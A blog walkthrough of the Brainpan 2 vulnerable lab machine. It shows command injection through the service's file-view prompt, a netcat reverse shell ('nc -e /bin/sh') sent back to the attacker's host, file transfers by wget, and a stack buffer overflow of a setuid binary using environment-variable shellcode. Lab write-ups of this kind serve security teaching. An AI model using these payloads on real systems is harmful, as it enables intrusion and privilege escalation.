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Brainpan 2 - Hacking Trends

Brainpan 2 – Trolling, Headaches, and a fun Challenge!

Finally back to VulnHub, and next up is my Brainpan 2 walkthrough.

Brainpan 2 – Introduction

For those who have never tried the series, I recommend starting with Brainpan 1 by superkojiman.

That said, you can also find Brainpan 2 as well as 3 on VulnHub.

If you would like, you can also read my Brainpan 1 Walkthrough before getting started here.

One last note: I apologize for the IPs switching between some commands. I started this over a year ago, but ended up getting distracted by other posts and research. As long as you’re not copying and pasting my exact commands, you will be fine.

Enumeration

To start, I like to use netdiscover to find what IP my new virtual machine got. Again, note that this IP might change a few times in this post, but I promise that it is the same target.

root@kali:~# netdiscover -i eth1 -r 192.168.56.0/24
 
 Currently scanning: Finished!   |   Screen View: Unique Hosts                 

 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180               
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname     
 -----------------------------------------------------------------------------
 192.168.56.100  08:00:27:02:31:f2      1      60  PCS Systemtechnik GmbH     
 192.168.56.101  08:00:27:65:31:e7      1      60  PCS Systemtechnik GmbH     
 192.168.56.102  0a:00:27:00:00:10      1      60  Unknown vendor 

With the IP in hand, it was time to run an nmap scan.

root@kali:~# nmap -sT -sV -sV -O -n -Pn -p- 192.168.56.101

Starting Nmap 7.12 ( https://nmap.org ) at 2017-02-11 11:49 EST
Nmap scan report for 192.168.56.101
Host is up (0.00031s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.12%I=7%D=2/15%Time=58A486B1%P=i586-pc-linux-gnu%r(NULL
SF:,296,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|\x
SF:20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x2
SF:0\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x20
SF:\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20
SF:\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20
SF:\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20
SF:_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20
SF:_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x20
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x20
SF:_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20_\|\n\n\[______________________\x20WELCOME\x20TO\x20BRAINPAN\x202\
SF:.0________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20LOGIN\x20AS\x20GUEST\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 08:00:27:65:31:E7 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 183.63 seconds

I started with port 10000, but didn’t seem to find anything of note there.

Brainpan 2 - Hacking Trends

Port 9999 was a different story, as it looked like a similar binary to Brainpan 1.0. That said, when I entered in the old password, it responded with a rickroll.

root@kali:~# telnet 172.16.119.140 9999
Trying 172.16.119.140...
Connected to 172.16.119.140.
Escape character is '^]'.
_|                            _|                                       
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_| 
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                         
                                            _|

[______________________ WELCOME TO BRAINPAN 2.0________________________]
                             LOGIN AS GUEST                            

                          >> password
                          ACCESS DENIED
                          >> shitstorm
Never gonna give you up Never gonna let you down Never gonna run around and desert youConnection closed by foreign host.

Brainpan 2 Information Gathering

First, I started to look at the various commands supported by the server. It unfortunately looked like the GUEST account didn’t have any useful permissions though. That said, the DEBUG account sounded like it could be fairly interesting.

root@kali:~# telnet 172.16.119.140 9999
Trying 172.16.119.140...
Connected to 172.16.119.140.
Escape character is '^]'.
_|                            _|                                       
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_| 
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                         
                                            _|

[______________________ WELCOME TO BRAINPAN 2.0________________________]
                             LOGIN AS GUEST                            

                          >> GUEST
                          ACCESS GRANTED


                             *  *  *  *                               
    THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED. 
    TYPE "TELL ME MORE" FOR A LIST OF COMMANDS. 
                             *  *  *  *                               


                          >> TELL ME MORE
    FILES    HELP    VIEW       CREATE
    USERS    MSG     SYSTEM     BYE

                          >> FILES
total 36
-rwxr-xr-x 1 root   root   18424 Nov  4  2013 brainpan.exe
-rw-r--r-- 1 root   root    1109 Nov  5  2013 brainpan.txt
-rw-r--r-- 1 root   root     683 Nov  4  2013 notes.txt
-rw-r--r-- 1 anansi anansi    12 Nov  5  2013 test-1
-rwxrwxrwx 1 anansi anansi    19 Nov  5  2013 test-2
                          >> USERS
    NOT YET SUPPORTED
                          >> HELP
BRAINPAN(7)                           2.0                          BRAINPAN(7)



NAME
       brainpan - Server side collaboration system.


DESCRIPTION
       The  brainpan  server  is  a  collaboration system that allows users to
       share and update files  on  the  fly.  While  the  server  is  work  in
       progress,  several  features  are functional.  GUEST users have limited
       access to the available commands.


COMMANDS
       HELP Display the the brainpan manual.


       TELL ME MORE Show a list of available commands.


       FILES Show files currently stored on the server.


       VIEW View a file stored on the server.


       CREATE Create a file on the server.


       USERS Display a list of users currently logged in.


       MSG Send a message to a user.


       SYSTEM Report system information.


       BYE Log out of the server.


AUTHENTICATION
       There is currently no proper authentication mechanism in place. At this
       time  the software is in it's alpha stage. The only avaiable account is
       GUEST. The DEBUG account will alter the output of some commands -  use‐
       ful for developers.


AUTHOR
       superkojiman - http://www.techorganic.com



version                   http://www.techorganic.com               BRAINPAN(7)
                          >> MSG
    NOT YET SUPPORTED
                          >> SYSTEM
    NOT AVAILABLE TO GUEST ACCOUNT
                          >> DEBUG
    WHAT?
                          >> BYE
Connection closed by foreign host.

While I wasn’t able to login as DEBUG from GUEST, logging in directly as DEBUG worked.

root@kali:~# telnet 172.16.119.140 9999
Trying 172.16.119.140...
Connected to 172.16.119.140.
Escape character is '^]'.
_|                            _|                                       
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_| 
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                         
                                            _|

[______________________ WELCOME TO BRAINPAN 2.0________________________]
                             LOGIN AS GUEST                            

                          >> DEBUG
                          ACCESS GRANTED


                             *  *  *  *                               
    THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED. 
    TYPE "TELL ME MORE" FOR A LIST OF COMMANDS. 
                             *  *  *  *                               


                          >> TELL ME MORE
    FILES    HELP    VIEW       CREATE
    USERS    MSG     SYSTEM     BYE

                          >> SYSTEM
LANG=en_US.UTF-8
HOME=/home/anansi
COLORTERM=(null)
PWD=/opt/brainpan
PATH=/bin:.:/usr/bin:/sbin
SHLVL=1

The VIEW command seemed very interesting, especially considering the possible vulnerabilities mentioned. Unfortunately, these vulnerabilities seemed to have been “fixed” in this version. That said, I was even able to read /etc/passwd with the VIEW command.

                          >> FILES
total 36
-rwxr-xr-x 1 root   root   18424 Nov  4  2013 brainpan.exe
-rw-r--r-- 1 root   root    1109 Nov  5  2013 brainpan.txt
-rw-r--r-- 1 root   root     683 Nov  4  2013 notes.txt
-rw-r--r-- 1 anansi anansi    12 Nov  5  2013 test-1
-rwxrwxrwx 1 anansi anansi    19 Nov  5  2013 test-2
                          >> VIEW
    ENTER FILE TO DOWNLOAD: notes.txt;
TODO LIST
---------
reynard:
- Completed manpage. Read with groff or man.
- Renamed to brainpan.txt instead of brainpan.7.
- Fixed call to read manpage: popen("man ./brainpan.txt", "r");

puck:
Easiest way to display file contents is to just use popen(). Eg:
popen("/bin/ls", "r");
popen("/bin/man ./brainpan.7", "r");
popen("/usr/bin/top", "r");
etc...

anansi:
- Fixed a reported buffer overflow in login in version 1.0.
- Discovered buffer overflow in the command prompt, fixed as of version 2.0

puck: look into loading a configuration file instead of hardcoding settings
in the server, version 1.8
anansi: dropped configuration file - leave it hardcoded, version 1.9
                          >> VIEW 
    ENTER FILE TO DOWNLOAD: /etc/passwd;
root:x:104:106:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
root :x:0:0:root:/var/root:/bin/bash
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
anansi:x:1000:1000:anansi,,,:/home/anansi:/bin/bash
puck:x:1001:1001:puck,,,:/home/puck:/bin/bash
reynard:x:1002:1002:reynard,,,:/home/reynard:/bin/bash

Hoping that there was no input sanitization on the VIEW command, I attempted some command injection. The ‘id’ command worked both with and without a file to view, so I knew I was in business!

                          >> VIEW
    ENTER FILE TO DOWNLOAD: notes.txt; echo "TESTTESTTEST"
TODO LIST
---------
reynard:
- Completed manpage. Read with groff or man.
- Renamed to brainpan.txt instead of brainpan.7.
- Fixed call to read manpage: popen("man ./brainpan.txt", "r");

puck:
Easiest way to display file contents is to just use popen(). Eg:
popen("/bin/ls", "r");
popen("/bin/man ./brainpan.7", "r");
popen("/usr/bin/top", "r");
etc...

anansi:
- Fixed a reported buffer overflow in login in version 1.0.
- Discovered buffer overflow in the command prompt, fixed as of version 2.0

puck: look into loading a configuration file instead of hardcoding settings
in the server, version 1.8
anansi: dropped configuration file - leave it hardcoded, version 1.9
TESTTESTTEST
                          >> VIEW
    ENTER FILE TO DOWNLOAD: notes.txt; id;
TODO LIST
---------
reynard:
- Completed manpage. Read with groff or man.
- Renamed to brainpan.txt instead of brainpan.7.
- Fixed call to read manpage: popen("man ./brainpan.txt", "r");

puck:
Easiest way to display file contents is to just use popen(). Eg:
popen("/bin/ls", "r");
popen("/bin/man ./brainpan.7", "r");
popen("/usr/bin/top", "r");
etc...

anansi:
- Fixed a reported buffer overflow in login in version 1.0.
- Discovered buffer overflow in the command prompt, fixed as of version 2.0

puck: look into loading a configuration file instead of hardcoding settings
in the server, version 1.8
anansi: dropped configuration file - leave it hardcoded, version 1.9
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)
                          >> VIEW
    ENTER FILE TO DOWNLOAD: ; id;
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)

Reverse Shell – The Initial Foothold

With command injection working, it was time to attempt a reverse shell.

The box had a netcat version with the -e flag, so at least this part was fairly easy.

                          >> VIEW 
    ENTER FILE TO DOWNLOAD: ; nc -e /bin/sh 192.168.56.102 443

I caught the reverse shell on my attacking box, and noticed that I was the user ‘anansi’.

root@kali:~# nc -lvp 443
listening on [any] 443 ...
192.168.56.101: inverse host lookup failed: Unknown host
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 51876
id
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)

Enumeration as anansi

Poking around in the home directory, I quickly found some interesting files in the reynard user’s directory. There appears to be a suid root application (msg_root) as well as a readme file for it.

ls -al
total 24
drwx------ 2 anansi anansi 4096 Aug 26 12:17 .
drwxr-xr-x 5 root   root   4096 Nov  4  2013 ..
-rw------- 1 anansi anansi    0 Nov  5  2013 .bash_history
-rw-r--r-- 1 anansi anansi  220 Nov  4  2013 .bash_logout
-rw-r--r-- 1 anansi anansi 3392 Nov  4  2013 .bashrc
-rw-r--r-- 1 anansi anansi  675 Nov  4  2013 .profile
-rwxr-xr-x 1 anansi anansi  114 Nov  4  2013 startbrainpan.sh
cd ..
ls
anansi
puck
reynard
ls -al
total 20
drwxr-xr-x  5 root    root    4096 Nov  4  2013 .
drwxr-xr-x 22 root    root    4096 Nov  5  2013 ..
drwx------  2 anansi  anansi  4096 Aug 26 12:17 anansi
drwx------  4 puck    puck    4096 Nov  5  2013 puck
drwxr-xr-x  3 reynard reynard 4096 Nov  7  2013 reynard
cd puck
ls -al
total 20
drwxr-xr-x  5 root    root    4096 Nov  4  2013 .
drwxr-xr-x 22 root    root    4096 Nov  5  2013 ..
drwx------  2 anansi  anansi  4096 Aug 26 12:17 anansi
drwx------  4 puck    puck    4096 Nov  5  2013 puck
drwxr-xr-x  3 reynard reynard 4096 Nov  7  2013 reynard
cd puck
ls -al
total 20
drwxr-xr-x  5 root    root    4096 Nov  4  2013 .
drwxr-xr-x 22 root    root    4096 Nov  5  2013 ..
drwx------  2 anansi  anansi  4096 Aug 26 12:17 anansi
drwx------  4 puck    puck    4096 Nov  5  2013 puck
drwxr-xr-x  3 reynard reynard 4096 Nov  7  2013 reynard
cd reynard
ls -al
total 44
drwxr-xr-x 3 reynard reynard 4096 Nov  7  2013 .
drwxr-xr-x 5 root    root    4096 Nov  4  2013 ..
-rw------- 1 reynard reynard    0 Nov  7  2013 .bash_history
-rw-r--r-- 1 reynard reynard  220 Nov  4  2013 .bash_logout
-rw-r--r-- 1 reynard reynard 3392 Nov  4  2013 .bashrc
-rwsr-xr-x 1 root    root    8999 Nov  6  2013 msg_root
-rw-r--r-- 1 reynard reynard  675 Nov  4  2013 .profile
-rw-r--r-- 1 reynard reynard  154 Nov  5  2013 readme.txt
-rwxr-xr-x 1 reynard reynard  137 Nov  4  2013 startweb.sh
drwxr-xr-x 3 reynard reynard 4096 Nov  4  2013 web
cat readme.txt
msg_root is a quick way to send a message to the root user.
Messages are written to /tmp/msg.txt

usage:
msg_root "username" "this message is for root"
msg_root "test" "test"
Your message is test

Probing msg_root

As msg_root looked like my best bet for privilege escalation, I started there. Opening up the application in gdb and sending a lot of “A”s and “B”s showed an EIP overwrite in the “username” parameter.

gdb -q msg_root
Reading symbols from /home/reynard/msg_root...done.
(gdb) r `python -c 'print "A"*10000'` `python -c 'print "B"*10000'`
Starting program: /home/reynard/msg_root `python -c 'print "A"*10000'` `python -c 'print "B"*10000'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax            0x41414141     1094795585
ecx            0x0     0
edx            0xbfffff31     -1073742031
ebx            0xb7fd6ff4     -1208127500
esp            0xbfffaf14     0xbfffaf14
ebp            0xbfffaf38     0xbfffaf38
esi            0x0     0
edi            0x0     0
eip            0x41414141     0x41414141
eflags         0x10282     [ SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0     0
gs             0x33     51

I decided to get myself a better tty, as well as transfer over a shell for my exploit code.

id
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)
python -c 'import pty; pty.spawn("/bin/bash");'
anansi@brainpan2:/opt/brainpan$ wget http://192.168.56.102:8000/exploit.py
wget http://192.168.56.102:8000/exploit.py
--2017-02-12 08:13:44--  http://192.168.56.102:8000/exploit.py
Connecting to 192.168.56.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10025 (9.8K) [text/plain]
Saving to: `exploit.py'

100%[======================================>] 10,025      --.-K/s   in 0s     

2017-02-12 08:13:44 (349 MB/s) - `exploit.py' saved [10025/10025]

anansi@brainpan2:/opt/brainpan$ mv exploit.py ~
mv exploit.py ~
anansi@brainpan2:/opt/brainpan$ cd ~
cd ~
anansi@brainpan2:~$ ls
ls
exploit.py  startbrainpan.sh

With a cyclical pattern in my exploit.py file, it was time to find the offset of the EIP overwrite.

anansi@brainpan2:/home/reynard$ gdb -q msg_root
Reading symbols from /home/reynard/msg_root...done.
(gdb) r `python /home/anansi/exploit.py`
r `python /home/anansi/exploit.py`
Starting program: /home/reynard/msg_root `python /home/anansi/exploit.py`

Program received signal SIGSEGV, Segmentation fault.
0x35614134 in ?? ()

Running the new EIP through pattern_offset gave me an offset of only 14 bytes.

root@kali:/usr/share/metasploit-framework/tools# ruby pattern_offset.rb 0x35614134 10000
[*] Exact match at offset 14

Next, I updated the exploit.py code to verify that I had control of EIP.

user = ""
user += "A"*14
user += "BBBB"
user += "C"*9982

msg = "D"*10000

print user
print msg

Running the new script through msg_root showed an EIP of 0x42424242! Other than that, it looked like I had some control over the middle of the stack with my “C”s.

anansi@brainpan2:/home/reynard$ gdb -q msg_root
Reading symbols from /home/reynard/msg_root...done.
(gdb) r `python /home/anansi/exploit.py`
Starting program: /home/reynard/msg_root `python /home/anansi/exploit.py`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
i r
eax            0x42424242    1111638594
ecx            0x61    97
edx            0xbfffff2c    -1073742036
ebx            0xb7fd6ff4    -1208127500
esp            0xbffff994    0xbffff994
ebp            0xbffff9b8    0xbffff9b8
esi            0x0    0
edi            0x0    0
eip            0x42424242    0x42424242
eflags         0x10286    [ PF SF IF RF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
(gdb) x/200x $esp
x/200x $esp
0xbffff994:    0x0804872e    0xbffff9a6    0x0804a008    0x00000001
0xbffff9a4:    0x4141fa74    0x41414141    0x41414141    0x0804a008
0xbffff9b4:    0x42424242    0xbffff9c8    0x0804877b    0xbffffb94
0xbffff9c4:    0xbfffff2b    0xbffffa48    0xb7e8ee46    0x00000003
0xbffff9d4:    0xbffffa74    0xbffffa84    0xb7fe0860    0xb7ff6821
0xbffff9e4:    0xffffffff    0xb7ffeff4    0x08048351    0x00000001
0xbffff9f4:    0xbffffa30    0xb7fefc16    0xb7fffac0    0xb7fe0b58
0xbffffa04:    0xb7fd6ff4    0x00000000    0x00000000    0xbffffa48
0xbffffa14:    0xc0a5b476    0xee8a0266    0x00000000    0x00000000
0xbffffa24:    0x00000000    0x00000003    0x08048550    0x00000000
0xbffffa34:    0xb7ff59c0    0xb7e8ed6b    0xb7ffeff4    0x00000003
0xbffffa44:    0x08048550    0x00000000    0x08048571    0x0804873b
0xbffffa54:    0x00000003    0xbffffa74    0x080487a0    0x08048790
0xbffffa64:    0xb7ff0590    0xbffffa6c    0xb7fff908    0x00000003
0xbffffa74:    0xbffffb7d    0xbffffb94    0xbfffff2b    0x00000000
0xbffffa84:    0xbfffff2d    0xbfffff35    0xbfffff47    0xbfffff5c
0xbffffa94:    0xbfffff6b    0xbfffff7a    0xbfffff85    0xbfffffa0
0xbffffaa4:    0xbfffffb1    0xbfffffbc    0xbfffffca    0xbfffffdc
0xbffffab4:    0x00000000    0x00000020    0xb7fe1414    0x00000021
0xbffffac4:    0xb7fe1000    0x00000010    0x078bfbff    0x00000006
0xbffffad4:    0x00001000    0x00000011    0x00000064    0x00000003
0xbffffae4:    0x08048034    0x00000004    0x00000020    0x00000005
0xbffffaf4:    0x00000008    0x00000007    0xb7fe2000    0x00000008
0xbffffb04:    0x00000000    0x00000009    0x08048550    0x0000000b
0xbffffb14:    0x000003e8    0x0000000c    0x000003e8    0x0000000d
0xbffffb24:    0x000003e8    0x0000000e    0x000003e8    0x00000017
0xbffffb34:    0x00000000    0x00000019    0xbffffb5b    0x0000001f
0xbffffb44:    0xbfffffe5    0x0000000f    0xbffffb6b    0x00000000
0xbffffb54:    0x00000000    0xb2000000    0x0aae92ae    0xfb849fab
0xbffffb64:    0x5ee64792    0x699ad864    0x00363836    0x00000000
0xbffffb74:    0x00000000    0x00000000    0x6f682f00    0x722f656d
0xbffffb84:    0x616e7965    0x6d2f6472    0x725f6773    0x00746f6f
0xbffffb94:    0x41414141    0x41414141    0x41414141    0x42424141
0xbffffba4:    0x43434242    0x43434343    0x43434343    0x43434343
0xbffffbb4:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffbc4:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffbd4:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffbe4:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffbf4:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffc04:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffc14:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffc24:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffc34:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffc44:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffc54:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffc64:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffc74:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffc84:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffc94:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffca4:    0x43434343    0x43434343    0x43434343    0x43434343

Brainpan 2 – Exploit Interlude

While it seemed like I was definitely cruising though the exploit for this application, this is where I hit some headaches.

To start, I tried to put my shellcode directly on the stack and jump to it. Unfortunately, I was never able to easily figure out where it would be, and didn’t want to hard-code some magic address.

Next, I tried to put my shellcode in a different register, but was never able to get a proper jump or register working.

Finally, I attempted to use an environment variable. I had only done this a few times in the past, so I needed to brush up on how it worked. While this should have worked just fine, I was having no end of trouble with my actual shellcode. I’m not sure if I had bad characters (never checked), bad shellcode, or the application just didn’t like it.

I only plan on showing the path that finally worked for me, but don’t get frustrated if you get hung up here.

msg_root Exploitation

First, I verified that ASLR was off on the system.

anansi@brainpan2:/home/reynard$ cat /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
0

For this attack, I decided to load my shellcode directly into an environment variable on the system. To find the address, I used the getenvaddr.c program from Hacking, the Art of Exploitation.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char *ptr;

    if(argc < 3) {
        printf("Usage: %s <environment variable> < target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]); /* get env var location */
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
    printf("%s will be at %p\n", argv[1], ptr);
}

As there was no gcc on the target box, I statically compiled it on my attacking machine.

root@kali:~/brainpan2#  gcc -m32 -static -o findaddr findaddr.c
root@kali:~/brainpan2# ls
exploit.py  findaddr  findaddr.c

First, I copied over my new findaddr binary to the target system and made it executable.

anansi@brainpan2:/home/reynard$ wget http://192.168.56.103:8000/findaddr -O /tmp/findaddr
--2017-07-07 09:11:43--  http://192.168.56.103:8000/findaddr
Connecting to 192.168.56.103:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 728004 (711K) [application/octet-stream]
Saving to: `/tmp/findaddr'

100%[======================================>] 728,004     --.-K/s   in 0.01s   

2017-07-07 09:11:43 (66.5 MB/s) - `/tmp/findaddr' saved [728004/728004]
anansi@brainpan2:/home/reynard$ chmod +x /tmp/findaddr
chmod +x /tmp/findaddr

Next, I found some WORKING shellcode, put it in an environment variable, found the address of that variable, and ran it all through msg_root. It worked, and I had an euid of root!

anansi@brainpan2:/home/reynard$ export EGG=`python -c 'print "\x90" * 16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"'`
anansi@brainpan2:/home/reynard$ /tmp/findaddr EGG ./msg_root
/tmp/findaddr EGG ./msg_root
EGG will be at 0xbfffff1e
anansi@brainpan2:/home/reynard$ ./msg_root `python -c 'print "A"*14 + "\x45\xff\xff\xbf"'` gotcha
$ id
id
uid=1000(anansi) gid=1000(anansi) euid=104(root) groups=106(root),50(staff),1000(anansi)

The Trolling Begins

When I attempted to view the flag.txt file, I was unable to. The whatif.txt file mentioned that I wasn’t root yet as well.

$ cd /root
cd /root
$ ls -al
ls -al
total 28
drwx------  3 root  root  4096 Nov  5  2013 .
drwxr-xr-x 22 root  root  4096 Nov  5  2013 ..
drwx------  2 root  root  4096 Nov  4  2013 .aptitude
-rw-------  1 root  root     0 Nov  5  2013 .bash_history
-rw-r--r--  1 root  root   589 Nov  5  2013 .bashrc
-rw-r--r--  1 root  root   159 Nov  5  2013 .profile
-rw-------  1 root  root   461 Nov  5  2013 flag.txt
-rw-------  1 root  root   245 Nov  5  2013 whatif.txt
$ cat flag.txt
cat flag.txt
cat: flag.txt: Permission denied
$ cat whatif.txt
cat whatif.txt

       WHAT IF I TOLD YOU
              ___
            /     \
           | ______\
          (, \_/ \_/
           |   ._. |
           \   --- /
           /`-.__.'
      .---'`-.___|\___
     /                `.

       YOU ARE NOT ROOT?

Checking the /etc/passwd file showed me that there were actually 2 root users, but the one with a space was actually uid 0.

$ cat /etc/passwd
root:x:104:106:root:/root:/bin/bash
root :x:0:0:root:/var/root:/bin/bash

On to Another User

With my not so root user, I decided to see if there were any more suid binaries that I could find. The one in /opt/old seemed interesting, as it looked like an older version of the brainpan binary.

$ find / -perm +6000 -type f -exec ls -ld {} \; 2>/dev/null
find / -perm +6000 -type f -exec ls -ld {} \; 2> /dev/null
-rwxr-sr-x 1 root  shadow 30332 May  4  2012 /sbin/unix_chkpwd
-rwsr-xr-x 1 puck puck 17734 Nov  4  2013 /opt/old/brainpan-1.8/brainpan-1.8.exe
-rwsr-xr-x 1 root  root  937532 Jan  2  2013 /usr/sbin/exim4
-rwsr-xr-x 1 root  root  44564 May 25  2012 /usr/bin/chfn
-rwxr-sr-x 1 root  tty 18020 Dec  9  2012 /usr/bin/wall
-rwsr-xr-x 1 root  root  45396 May 25  2012 /usr/bin/passwd
-rwsr-xr-x 1 root  root  35892 May 25  2012 /usr/bin/chsh
-rwxr-sr-x 1 root  ssh 128396 Feb  8  2013 /usr/bin/ssh-agent
-rwxr-sr-x 1 root  crontab 34760 Jul  3  2012 /usr/bin/crontab
